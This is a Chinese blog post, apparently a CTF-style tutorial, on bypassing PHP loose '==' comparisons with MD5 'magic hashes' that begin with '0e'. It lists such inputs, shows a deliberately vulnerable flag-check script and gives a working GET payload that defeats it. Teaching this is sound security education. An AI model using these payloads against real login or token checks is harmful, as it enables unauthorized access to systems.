MD5绕过

本文探讨了PHP中使用'=='和'==='进行字符串比较时的特性,特别是0E开头的MD5值如何导致误判。通过示例代码展示了如何利用这一特性绕过特定条件检查,同时介绍了is_numeric()和ctype_alpha()函数的作用。了解这些可以帮助提高代码安全性。
摘要由CSDN通过智能技术生成

当php处理字符串时,会利用“==”或者“===”来比较。

当“==”时:

php把每一个以”0E”开头的哈希值都解释为0,所以要绕过"==",需要想办法让两边的不同数值经过md5加密后都为“0E”开头,这样当处理到这里的代码时,php会认为它们两个都为0,即可绕过。

开头为0E(MD5值)

字母数字混合类型:

s878926199a

0e545993274517709034328855841020

s155964671a

0e342768416822451524974117254469

s214587387a

0e848240448830537924465865611904

s214587387a

0e848240448830537924465865611904

纯大写字母:

QLTHNDT

0e405967825401955372549139051580

QNKCDZO

0e830400451993494058024219903391

EEIZDOI

0e782601363539291779881938479162

纯数字:

240610708

0e462097431906509019562988736854

4011627063
0e485805687034439905938362701775

4775635065
0e998212089946640967599450361168

4790555361
0e643442214660994430134492464512  

5432453531  
0e512318699085881630861890526097

5579679820
0e877622011730221803461740184915 

5585393579
0e664357355382305805992765337023

6376552501
0e165886706997482187870215578015  

7124129977 
0e500007361044747804682122060876  
7197546197
0e915188576072469101457315675502

7656486157      

0e451569119711843337267091732412

示例:

<?php
      $flag="";
      $v1=$_GET['v1'];
      $v2=$_GET['v2'];
      if(isset($v1) && isset($v2)){
          if(!ctype_alpha($v1)){
              die("v1 error");
          }
          if(!is_numeric($v2)){
              die("v2 error");
          }
          if(md5($v1)==md5($v2)){
              echo $flag;
          }
      }else{
        
          echo "where is flag?";
      }
  ?>

这里需要理解两个函数:

is_numeric() 函数用于检测变量是否为数字或数字字符串。——如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。

ctype_alpha — 做纯字符检测。——如果在当前语言环境中 text 里的每个字符都是一个字母,那么就返回true,反之则返回false

可以利用上文所说的绕过第三个if,但要注意要符合前两个if条件。

v1要为纯字母形式,所以v1=EEIZDOI || v1=QNKCDZO || v1=QLTHNDT

v2要为纯数字形式,所以v2=240610708

payload:GET:v1=EEIZDOI&v2=240610708

当为“===”:

在类型相同时才相等。"=="即non-strict比较符,会在类型转换后进行比较。

此外0 == 字符会被认为是正确的,可以绕过验证。

 

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

f0njl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值